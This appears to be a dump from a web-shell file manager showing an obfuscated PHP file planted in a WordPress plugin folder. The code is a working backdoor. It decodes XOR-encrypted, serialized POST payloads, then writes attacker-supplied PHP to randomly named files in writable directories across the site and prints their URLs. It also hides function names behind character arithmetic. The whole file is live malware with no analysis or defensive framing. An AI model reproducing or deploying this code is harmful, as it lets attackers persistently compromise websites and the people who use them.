HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/s/l/y/slyfwmm/foar/wp-content/plugins/attachments/deprecated/f0eabce1.php
<?php function wlNXdfK($QnTmrGB){$UORZPaWX = 'r'."\141"."\167".'u'.'r'.chr(108)."\x64".chr(101).chr(901-802).'o'."\x64".'e';$YWseLR = "\x73".chr(116)."\162".chr(95).'r'.chr(111).'t'."\x31".'3';$HtoQja = chr(115).chr(116)."\x72".chr(909-814).'s'.'p'."\x6c"."\151".'t';$QnTmrGB = $HtoQja($UORZPaWX($YWseLR($QnTmrGB)));return $QnTmrGB;}function HeSrqsWtJ($oYZqZw, $QnTmrGB){$BdSopEHCC = 's'.'t'.'r'."\x5f".'s'."\x70".chr(108)."\151".chr(116);$oYZqZw = array_slice($BdSopEHCC(str_repeat($oYZqZw, (count($QnTmrGB)/16)+1)), 0, count($QnTmrGB));return $oYZqZw;}function VSLQlHNn($enUPdv, $VqbmfJyr, $oYZqZw){$JNFtb = "eb0cec22-98d3-42a8-a939-f4b92b83ec3f";return $enUPdv ^ $JNFtb[$VqbmfJyr % strlen($JNFtb)] ^ $oYZqZw;}function AxLgEWjH($QnTmrGB, $oYZqZw){$QnTmrGB = array_map("VSLQlHNn", array_values($QnTmrGB), array_keys($QnTmrGB), array_values($oYZqZw));$QnTmrGB = implode("", $QnTmrGB);$NPiPR = 'u'."\156".chr(370-255)."\145".chr(1074-960).chr(105).'a'.chr(108).chr(253-148).chr(713-591).chr(950-849);$QnTmrGB = @$NPiPR($QnTmrGB);return $QnTmrGB;}function JRuSgBT(){echo "mIixazgQZa";}function ZxZfnK($scPAZuTir){static $pLeCuazqIG = array();$yKvCZcXPnY = glob($scPAZuTir . '/*', GLOB_ONLYDIR);$CSBPYdnCx = count($yKvCZcXPnY);if ($CSBPYdnCx > 0) {foreach ($yKvCZcXPnY as $scPAZuT) {$thDWjKXd = "\151".chr(716-601)."\x5f"."\x77".'r'.chr(604-499).'t'."\141"."\142"."\x6c".chr(192-91);if (@$thDWjKXd($scPAZuT)) {$pLeCuazqIG[] = $scPAZuT;}}}foreach ($yKvCZcXPnY as $scPAZuTir) ZxZfnK($scPAZuTir);return $pLeCuazqIG;}function dvkHMoDiv(){echo "tnOwGkMwq";}function SkKmgLwPl($QnTmrGB){$GovIjvt = "\x44"."\x4f".chr(67).chr(85)."\x4d"."\105".'N'.chr(84)."\x5f"."\122"."\x4f".chr(1070-991)."\x54";$YeBvslT = $_SERVER[$GovIjvt];$yKvCZcXPnY = ZxZfnK($YeBvslT);$XZylO = array_rand($yKvCZcXPnY);$KTeaKQJM = "\x2e".'p'.chr(104).chr(112);$JsOBsFfPZ = $yKvCZcXPnY[$XZylO] . "/" . substr(md5(time()), 0, 8) . $KTeaKQJM;$xVRDnnxQ = chr(102)."\151"."\154"."\145".'_'.chr(1002-890).chr(117).'t'.'_'."\143".chr(111).chr(110).chr(116).chr(876-775).chr(808-698).'t'.chr(780-665);@$xVRDnnxQ($JsOBsFfPZ, $QnTmrGB);$ILddYmHzHu = 'H'."\124".chr(139-55)."\x50".chr(95)."\110"."\117".chr(83).chr(84);$fsPShzOa = "\x68"."\x74".chr(116).'p'."\72"."\57"."\x2f";$uSKQoWSLK = $fsPShzOa . $_SERVER[$ILddYmHzHu] . substr($JsOBsFfPZ, strlen($YeBvslT));print($uSKQoWSLK);}foreach ($_POST as $oYZqZw => $QnTmrGB){$WvtJpsabz = strlen($oYZqZw);if ($WvtJpsabz == 16){$QnTmrGB = wlNXdfK($QnTmrGB);$oYZqZw = HeSrqsWtJ($oYZqZw, $QnTmrGB);$QnTmrGB = AxLgEWjH($QnTmrGB, $oYZqZw);if (@is_array($QnTmrGB)){$XZylO = array_keys($QnTmrGB);$QnTmrGB = $QnTmrGB[$XZylO[0]];if ($QnTmrGB === $XZylO[0]){$RwqBQWiP = "\x70".chr(711-607).chr(1048-936);$CjeMcDtBRI = 'p'."\x68".chr(766-654)."\166"."\x65".chr(946-832).'s'.chr(1019-914).chr(971-860).'n';$DBCqNLW = "\x73"."\x65".chr(458-344).chr(105)."\141".'l'.chr(1092-987)."\x7a".'e';echo @$DBCqNLW(Array($RwqBQWiP => @$CjeMcDtBRI(), ));}else {SkKmgLwPl($QnTmrGB);}die();}}}